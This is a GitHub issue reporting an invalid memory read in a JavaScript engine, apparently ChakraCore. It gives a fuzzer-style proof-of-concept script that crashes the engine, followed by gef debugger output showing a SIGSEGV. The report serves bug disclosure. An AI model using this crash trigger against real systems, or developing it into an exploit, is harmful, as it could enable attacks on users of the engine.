Skip to content

Invalid_memory_read_1 #6644

Description

@bird8693

enviroment

ubuntu16

poc

this.x = 4660;
function Ctor() {
    n = new Set();
}
function Check() {
    this.__defineSetter__('x', () => {
    });
    var mWaN = new Number();
    var Bjfc = ~-Infinity;
    parseInt();
}
for (var i = 0; i < 2000; ++i) {
    Ctor();
    var WGey = DataView;
    var yPDd = new Boolean();
    for (var ijjkkk = 0; ijjkkk < 100000; ++ijjkkk) {
        var EdHR = Proxy;
    }
    Check();
    var TmET = !673720360;
    var wcwb = new Uint32Array([
        -9007199254740992,
        3037000498,
        4294967297,
        -9007199254740991,
        2147483649,
        1e-15,
        2147483648
    ]);
}
for (var i = 0; i < 2000; ++i) {
    Check();
    var yPDd = new Boolean();
}
Ctor();
let x = 1;
Check();

gef output

   0x7ffff7e4540c                  mov    rax, rdi
   0x7ffff7e4540f                  shr    rax, 0x30
   0x7ffff7e45413                  jne    0x7ffff7e45ba1
 → 0x7ffff7e45419                  mov    rax, QWORD PTR [rdi+0x8]
   0x7ffff7e4541d                  mov    rax, QWORD PTR [rax+0x18]
   0x7ffff7e45421                  movabs rdx, 0x7ffff7f26020
   0x7ffff7e4542b                  mov    rsi, 0x10000001
   0x7ffff7e45432                  mov    QWORD PTR [rsp+0x10], rdx
   0x7ffff7e45437                  mov    QWORD PTR [rsp+0x8], rsi
─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ch", stopped 0x7ffff7e45419 in ?? (), reason: SIGSEGV
[#1] Id 2, Name: "ch", stopped 0x7ffff73d1360 in pthread_cond_wait@@GLIBC_2.3.2 (), reason: SIGSEGV
[#2] Id 3, Name: "ch", stopped 0x7ffff73d1709 in pthread_cond_timedwait@@GLIBC_2.3.2 (), reason: SIGSEGV
[#3] Id 4, Name: "ch", stopped 0x7ffff73d1709 in pthread_cond_timedwait@@GLIBC_2.3.2 (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e45419 → mov rax, QWORD PTR [rdi+0x8]
[#1] 0x7fff00000002 → add BYTE PTR [rax], al

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions